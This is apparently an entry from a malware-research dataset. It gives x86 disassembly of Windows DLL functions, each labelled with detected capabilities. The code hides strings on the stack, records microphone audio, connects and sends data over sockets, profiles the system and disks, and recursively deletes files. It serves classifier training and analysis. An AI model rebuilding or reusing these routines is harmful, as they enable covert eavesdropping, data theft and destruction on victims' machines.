joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
mov esi, ecx
mov al, 0x65
mov cl, 0x6c
mov byte [ebp - 0x23], al
mov byte [ebp - 0x1f], cl
mov byte [ebp - 0x1a], cl
mov byte [ebp - 0x19], cl
mov cl, 0x74
mov byte [ebp - 0x20], al
mov byte [ebp - 0x12], al
mov byte [ebp - 0xf], al
mov byte [ebp - 0xc], al
mov byte [ebp - 0x10], cl
mov byte [ebp - 0xa], cl
lea eax, [ebp - 0x14]
push edi
lea ecx, [ebp - 0x24]
mov dl, 0x6e
xor ebx, ebx
push eax
push ecx
mov dword [esi], 0x10015378
mov byte [ebp - 0x24], 0x6b
mov byte [ebp - 0x22], 0x72
mov byte [ebp - 0x21], dl
mov byte [ebp - 0x1e], 0x33
mov byte [ebp - 0x1d], 0x32
mov byte [ebp - 0x1c], 0x2e
mov byte [ebp - 0x1b], 0x64
mov byte [ebp - 0x18], bl
mov byte [ebp - 0x14], 0x43
mov byte [ebp - 0x13], 0x72
mov byte [ebp - 0x11], 0x61
mov byte [ebp - 0xe], 0x45
mov byte [ebp - 0xd], 0x76
mov byte [ebp - 0xb], dl
mov byte [ebp - 9], 0x41
mov byte [ebp - 8], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.WINMM.dll
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebx
push ebx
push ebx
push ebx
mov dword [0x1001a410], eax
call edi
push ebx
push ebx
push ebx
push ebx
mov dword [esi + 0x24], eax
call edi
mov dword [esi + 0x28], eax
mov dword [esi + 0x2c], ebx
mov dword [esi + 0x1c], ebx
mov dword [esi + 0x20], ebx
mov dword [esi + 4], 0x3e8
mov byte [esi + 0x44], bl
mov byte [esi + 0x45], bl
lea edi, [esi + 0x30]
mov dword [ebp - 4], 2
mov edx, dword [esi + 4]
push edx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push 0x20
mov dword [edi - 0x28], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [edi], eax
mov eax, dword [esi + 4]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push 0x20
mov dword [edi - 0x20], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [edi + 8], eax
mov eax, dword [ebp - 4]
add esp, 0x10
add edi, 4
dec eax
mov dword [ebp - 4], eax
jne 0x100010ce
lea eax, [esi + 0x46]
xor ecx, ecx
mov edx, eax
mov dword [edx], ecx
mov dword [edx + 4], ecx
mov dword [edx + 8], ecx
mov dword [edx + 0xc], ecx
mov dword [edx + 0x10], ecx
mov word [eax], 0x31
mov word [esi + 0x48], 1
mov dword [esi + 0x4a], 0x1f40
nop
nop
nop
nop
mov dword [esi + 0x4e], 0x659
mov word [esi + 0x52], 0x41
mov word [esi + 0x54], bx
mov word [esi + 0x56], 2
mov word [esi + 0x58], 0x140
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001470
Capabilities:
Create thread
Link many functions at runtime
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1001a410]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push str.waveInGetNumDevs
mov edi, ecx
push eax
call esi
call eax
test eax, eax
jne 0x1000149d
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x1001a410]
push str.waveInOpen
push ecx
call esi
lea edx, [ebp - 4]
mov esi, eax
push edx
push 4
push edi
push 0x10001690
push 0
push 0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [edi + 0x2c], eax
mov eax, dword [ebp - 4]
push 0x20000
push 0
lea ecx, [edi + 0x46]
push eax
lea ebx, [edi + 0x18]
push ecx
push 0xffff
push ebx
call esi
test eax, eax
je 0x100014f4
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [0x1001a410]
push str.waveInPrepareHeader
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
lea esi, [edi + 0x30]
mov dword [ebp - 8], 2
mov eax, dword [esi]
mov ecx, dword [esi - 0x28]
push 0x20
mov dword [eax], ecx
mov edx, dword [esi]
mov eax, dword [edi + 4]
mov dword [edx + 4], eax
mov ecx, dword [esi]
xor eax, eax
mov dword [ecx + 0x10], eax
mov edx, dword [esi]
mov dword [edx + 0x14], eax
mov eax, dword [esi]
mov ecx, dword [ebx]
push eax
push ecx
call dword [ebp - 0xc]
mov eax, dword [ebp - 8]
add esi, 4
dec eax
mov dword [ebp - 8], eax
jne 0x10001513
nop
nop
nop
nop
mov edx, dword [0x1001a410]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.waveInAddBuffer
push edx
call esi
mov ecx, dword [edi + 0x1c]
push 0x20
mov edx, dword [edi + ecx*4 + 0x30]
mov ecx, dword [ebx]
push edx
push ecx
call eax
mov edx, dword [edi + 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [0x1001a410]
push str.waveInStart
push eax
call esi
mov ecx, dword [ebx]
push ecx
call eax
mov al, 1
mov byte [edi + 0x44], al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001e90
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x10013c68
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1b8
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
lea ecx, [esi + 4]
call fcn.10001a40
xor ebx, ebx
lea ecx, [esi + 0x2c]
mov dword [esp + 0x1d0], ebx
call fcn.10001a40
lea ecx, [esi + 0x54]
mov byte [esp + 0x1d0], 1
call fcn.10001a40
lea ecx, [esi + 0x7c]
mov byte [esp + 0x1d0], 2
call fcn.10001a40
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x2d], cl
mov byte [esp + 0x32], cl
mov byte [esp + 0x33], cl
mov cl, 0x74
mov byte [esp + 0x29], al
mov byte [esp + 0x2c], al
mov byte [esp + 0x1a], al
mov byte [esp + 0x1d], al
mov byte [esp + 0x20], al
mov byte [esp + 0x1c], cl
mov byte [esp + 0x22], cl
lea eax, [esp + 0x18]
lea ecx, [esp + 0x28]
mov dl, 0x6e
push eax
push ecx
mov byte [esp + 0x1d8], 3
mov dword [esi], 0x10015390
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x32], 0x72
mov byte [esp + 0x33], dl
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3c], bl
mov byte [esp + 0x20], 0x43
mov byte [esp + 0x21], 0x72
mov byte [esp + 0x23], 0x61
mov byte [esp + 0x26], 0x45
mov byte [esp + 0x27], 0x76
mov byte [esp + 0x29], dl
mov byte [esp + 0x2b], 0x41
mov byte [esp + 0x2c], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esp + 0x38]
mov edi, eax
push edx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ebp, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call ebp
add esp, 4
push ebx
push ebx
push 1
push ebx
call edi
push 0x30
mov dword [esi + 0xac], eax
call ebp
add esp, 4
mov byte [esi + 0xb5], bl
mov dword [esi + 0xa8], 0xffffffff
mov al, 0x6a
mov byte [esp + 0x10], 0x58
mov byte [esp + 0x11], al
mov byte [esp + 0x12], al
mov byte [esp + 0x13], 0x68
mov edx, dword [esp + 0x10]
lea ecx, [esi + 0xb0]
pop edi
mov dword [ecx], edx
mov byte [ecx + 4], al
mov ecx, dword [esp + 0x1c4]
mov eax, esi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c4
ret
Function at 0x10002130
Capabilities:
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov esi, ecx
call fcn.10002660
mov edi, dword [sym.imp.MSVCRT.dll_puts]
push 0x100180a0
call edi
mov eax, dword [esi + 0xac]
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x100180a0
mov byte [esi + 0xb5], 0
call edi
add esp, 4
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0
mov dword [esi + 0xa8], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esi + 0xa8], 0xffffffff
jne 0x1000219c
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ebx, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call ebx
mov ecx, dword [ebp + 8]
add esp, 4
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
push 0x30
mov dword [ebp + 8], eax
call ebx
mov eax, dword [ebp + 8]
add esp, 4
test eax, eax
jne 0x100021cf
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
push 0x100180a0
mov word [ebp - 0x20], 2
call edi
mov edx, dword [ebp + 0xc]
add esp, 4
push edx
call dword [sym.imp.WS2_32.dll_htons]
push 0
mov word [ebp - 0x1e], ax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
mov dword [ebp - 0x1c], eax
call edi
nop
nop
nop
nop
push str.connect
push str.WS2_32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esi + 0xa8]
lea ecx, [ebp - 0x20]
push 0x10
push ecx
push edx
call eax
cmp eax, 0xffffffff
jne 0x10002244
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
call edi
push 0x30
mov byte [ebp - 1], 1
call ebx
mov ecx, dword [esi + 0xa8]
add esp, 4
lea eax, [ebp - 1]
push 1
push eax
push 8
push 0xffff
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x100022b6
push 0x30
mov dword [ebp - 0x10], 1
mov dword [ebp - 0xc], 0xea60
mov dword [ebp - 8], 0x1388
call ebx
add esp, 4
mov ecx, dword [esi + 0xa8]
lea edx, [ebp - 1]
lea eax, [ebp - 0x10]
push 0
push 0
push edx
push 0
push 0
push 0xc
push eax
push 0x98000004
push ecx
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 0x30
call ebx
add esp, 4
push 1
push 0
push 0
push esi
push 0x100022f0
push 0
push 0
mov byte [esi + 0xb5], 1
call fcn.1000ae90
add esp, 0x1c
mov dword [esi + 0xa4], eax
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10002660
Capabilities:
Set socket configuration

Disassembly:
push ecx
push esi
push edi
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
mov esi, ecx
push 0x30
mov word [esp + 0xc], 1
mov word [esp + 0xe], 0
call edi
mov ecx, dword [esi + 0xa8]
add esp, 4
lea eax, [esp + 8]
push 4
push eax
push 0x80
push 0xffff
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
push 0x30
call edi
mov edx, dword [esi + 0xa8]
add esp, 4
push edx
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0x30
call edi
add esp, 4
lea eax, [esi + 0xb5]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0x30
call edi
mov ecx, dword [esi + 0xa8]
add esp, 4
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x30
call edi
mov edx, dword [esi + 0xac]
add esp, 4
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x30
call edi
add esp, 4
mov dword [esi + 0xa8], 0xffffffff
pop edi
pop esi
pop ecx
ret

Function at 0x10002890
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 8
push ebx
mov ebx, dword [esp + 0x14]
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov esi, dword [esp + 0x20]
push edi
mov edi, ebx
cmp ebx, esi
mov dword [esp + 0x14], ecx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x10], edi
jb 0x10002931
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x24], 0
push 0x100180a0
call dword [sym.imp.MSVCRT.dll_puts]
mov eax, dword [esp + 0x18]
add esp, 4
mov ecx, dword [eax + 0xa8]
push 0
push esi
push ebp
push ecx
call dword [sym.imp.WS2_32.dll_send]
push 0
mov edi, eax
call ebx
test edi, edi
jg 0x10002902
mov eax, dword [esp + 0x24]
inc eax
cmp eax, 0xf
mov dword [esp + 0x24], eax
jl 0x100028c7
cmp dword [esp + 0x24], 0xf
je 0x10002967
mov edx, dword [esp + 0x1c]
push 0
add edx, edi
add ebp, esi
mov dword [esp + 0x20], edx
call ebx
push 0xa
call ebx
mov eax, dword [esp + 0x10]
sub eax, esi
cmp eax, esi
mov dword [esp + 0x10], eax
jae 0x100028bf
mov ebx, dword [esp + 0x20]
mov edi, eax
test edi, edi
jle 0x1000295f
xor esi, esi
mov edx, dword [esp + 0x14]
push 0
push edi
push ebp
mov eax, dword [edx + 0xa8]
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x10002956
inc esi
cmp esi, 0xf
jl 0x10002937
cmp esi, 0xf
je 0x10002967
add dword [esp + 0x1c], eax
mov eax, dword [esp + 0x1c]
cmp eax, ebx
je 0x1000296a
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 0xc

Function at 0x10002990
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x10
push esi
mov esi, dword [esp + 0x18]
test esi, esi
jne 0x100029a3
xor eax, eax
pop esi
add esp, 0x10
ret
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x100029d1
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ecx, dword [eax]
mov dword [esp + 4], ecx
mov edx, dword [eax + 4]
mov dword [esp + 8], edx
mov ecx, dword [eax + 8]
mov dword [esp + 0xc], ecx
mov eax, dword [eax + 0xc]
mov edx, dword [eax]
mov eax, dword [edx]
pop esi
add esp, 0x10
ret
Function at 0x10002af0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
push esi
push edi
mov ecx, 0x1f
xor eax, eax
lea edi, [ebp - 0x8b]
mov byte [ebp - 0x8c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x20
xor eax, eax
lea edi, [ebp - 0x8c]
rep stosd dword es:[edi], eax
nop
nop
nop
nop
mov edi, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x190]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x190]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 4]
push ecx
push 0xf003f
push 0
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10002ba3
mov dword [ebp - 8], 0xc8
nop
nop
nop
nop
lea eax, [ebp - 8]
lea ecx, [ebp - 0x8c]
push eax
mov eax, dword [ebp - 4]
lea edx, [ebp - 0xc]
push ecx
push edx
push 0
push 0x100181d4
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [ebp - 0x8c]
push str.2000
push edx
call esi
add esp, 8
test eax, eax
jne 0x10002bee
lea eax, [ebp - 0x8c]
push str.2003
push eax
call esi
add esp, 8
test eax, eax
jne 0x10002bee
lea ecx, [ebp - 0x8c]
push str.2008
push ecx
call esi
add esp, 8
test eax, eax
jne 0x10002bee
pop edi
pop esi
mov esp, ebp
pop ebp
ret
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10004030
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100153b0
push 0x10013a48
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x100041a7
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x100040e7
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x100040e7
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x100040c2
cmp al, 0x5c
je 0x100040c2
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x100040aa
cmp byte [esi], 0
je 0x100040cb
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x100040e0
cmp al, 0x5c
je 0x100040e0
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x100040c8
cmp byte [esi], 0
je 0x10004106
jmp 0x10004102
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x10004106
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10004106
cmp al, 0x5c
jne 0x10004106
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [esi]
test al, al
je 0x1000416b
cmp al, 0x5c
jne 0x1000415d
mov byte [esi], 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
jne 0x10004150
push 0
call ebx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x1000415a
push eax
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1000415a
push 0
call ebx
push edi
jmp 0x1000419e
and eax, 0x10
cmp al, 0x10
je 0x1000415a
push edi
jmp 0x1000419e
mov byte [esi], 0x5c
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x1000410c
mov dword [ebp - 4], 0xffffffff
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10004230
Capabilities:
Get disk information
Get disk size

Disassembly:
sub esp, 0x78c
push ebx
push ebp
push esi
lea eax, [esp + 0x138]
push edi
push eax
mov dword [esp + 0x2c], ecx
push 0x100
mov byte [esp + 0x3a4], 0x67
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
xor esi, esi
push str.Shell32.dll
lea ebp, [esp + 0x140]
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push str.SHGetFileInfoA
push edi
mov dword [esp + 0x38], edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x34], eax
mov al, byte [esp + 0x13c]
test al, al
mov ebx, 1
je 0x100043ee
jmp 0x100042ab
xor esi, esi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x38]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x3c]
push ecx
push esi
push esi
push esi
push esi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x410
lea edx, [esp + 0x240]
push 0x160
push edx
push 0x80
push ebp
call dword [esp + 0x48]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x34c]
push eax
call esi
mov edi, eax
lea ecx, [esp + 0x38]
inc edi
push ecx
mov dword [esp + 0x30], edi
call esi
inc eax
mov dword [esp + 0x10], eax
mov al, byte [ebp]
cmp al, 0x41
je 0x1000435b
cmp al, 0x42
je 0x1000435b
lea edx, [esp + 0x20]
push 0
lea eax, [esp + 0x1c]
push edx
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x1000435b
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
mov ecx, 0x14
call fcn.10013a50
mov edx, dword [esp + 0x1c]
mov esi, eax
mov eax, dword [esp + 0x18]
mov ecx, 0x14
call fcn.10013a50
mov dword [esp + 0x14], eax
jmp 0x10004361
xor esi, esi
mov dword [esp + 0x14], esi
mov cl, byte [ebp]
push ebp
mov byte [esp + ebx + 0x3a0], cl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov edx, dword [esp + 0x14]
mov ecx, edi
mov byte [esp + ebx + 0x39d], al
mov eax, ecx
mov dword [esp + ebx + 0x39e], esi
lea esi, [esp + 0x34c]
lea edi, [esp + ebx + 0x3a6]
mov dword [esp + ebx + 0x3a2], edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x2c]
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x14]
lea edx, [eax + ebx]
lea esi, [esp + 0x3c]
lea edi, [esp + edx + 0x3aa]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, edx
add ecx, eax
lea ebx, [ebx + ecx + 0xa]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ebp, [eax + ebp + 1]
cmp byte [ebp], 0
jne 0x100042a9
mov edi, dword [esp + 0x30]
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x28]
lea edx, [esp + 0x39c]
push ebx
push edx
call fcn.10007df0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x78c
ret
Function at 0x10004640
Capabilities:
Contain obfuscated stackstrings
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x480
mov dword [ebp - 0x30], ecx
mov al, 0x65
mov cl, 0x6c
push ebx
mov byte [ebp - 0x13], cl
mov byte [ebp - 0xe], cl
mov byte [ebp - 0xd], cl
mov cl, 0x6f
mov byte [ebp - 0x17], al
mov byte [ebp - 0x14], al
mov byte [ebp - 0x2b], al
mov byte [ebp - 0x27], al
mov byte [ebp - 0x23], al
push esi
mov byte [ebp - 0x29], cl
mov byte [ebp - 0x20], cl
lea eax, [ebp - 0x2c]
push edi
lea ecx, [ebp - 0x18]
mov dl, 0x72
xor bl, bl
push eax
push ecx
mov byte [ebp - 0x18], 0x6b
mov byte [ebp - 0x16], dl
mov byte [ebp - 0x15], 0x6e
mov byte [ebp - 0x12], 0x33
mov byte [ebp - 0x11], 0x32
mov byte [ebp - 0x10], 0x2e
mov byte [ebp - 0xf], 0x64
mov byte [ebp - 0xc], bl
mov byte [ebp - 0x2c], 0x52
mov byte [ebp - 0x2a], 0x6d
mov byte [ebp - 0x28], 0x76
mov byte [ebp - 0x26], 0x44
mov byte [ebp - 0x25], 0x69
mov byte [ebp - 0x24], dl
mov byte [ebp - 0x22], 0x63
mov byte [ebp - 0x21], 0x74
mov byte [ebp - 0x1f], dl
mov byte [ebp - 0x1e], 0x79
mov byte [ebp - 0x1d], 0x41
mov byte [ebp - 0x1c], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [ebp + 8]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
mov dword [ebp - 0x34], eax
mov al, 0x2a
mov byte [ebp - 5], al
mov byte [ebp - 3], al
lea edx, [ebp - 8]
push esi
lea eax, [ebp - 0x278]
push edx
push eax
mov byte [ebp - 8], 0x25
mov byte [ebp - 7], 0x73
mov byte [ebp - 6], 0x5c
mov byte [ebp - 4], 0x2e
mov byte [ebp - 2], bl
call edi
add esp, 0xc
lea ecx, [ebp - 0x174]
lea edx, [ebp - 0x278]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
nop
nop
nop
nop
cmp ebx, 0xffffffff
jne 0x10004739
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 4
cmp byte [ebp - 0x148], 0x2e
je 0x1000478e
test byte [ebp - 0x174], 0x10
lea eax, [ebp - 0x148]
push eax
push esi
push str._s_s
je 0x10004775
lea ecx, [ebp - 0x480]
push ecx
call edi
mov ecx, dword [ebp - 0x30]
add esp, 0x10
lea edx, [ebp - 0x480]
push edx
call fcn.10004640
jmp 0x1000478e
lea ecx, [ebp - 0x37c]
push ecx
call edi
add esp, 0x10
lea edx, [ebp - 0x37c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x174]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10004739
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
call dword [ebp - 0x34]
test eax, eax
pop edi
pop esi
setne al
pop ebx
mov esp, ebp
pop ebp
ret 4